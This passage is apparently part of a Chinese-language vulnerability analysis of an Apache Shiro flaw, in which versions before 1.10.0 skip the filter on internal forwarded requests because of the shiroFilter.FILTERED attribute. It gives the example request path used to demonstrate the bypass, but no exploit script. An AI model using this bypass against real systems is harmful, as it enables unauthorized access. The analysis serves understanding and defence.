Connection: keep-alive
Upgrade-Insecure-Requests: 1

经过判断,被判定为Filter ‘{}’ not yet executed. Executing now,表明该请求并没有进入过滤器。

image

如代码所示,发送GET /filterOncePerRequest/any请求后,会使用内部forward命令,再次发起GET /permit/any请求。

image

这时发现对于forward请求拦截器根本不会拦截,由此可见漏洞原因确实如前文所述:在该请求处理第一次后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行,直接绕过了filter拦截器。

原因分析

因为代码逻辑存在漏洞,1.10.0之前的版本在请求forward时不进行拦截鉴权,导致在代码里存在对请求进行forward处理时,对应请求会绕过鉴权的问题。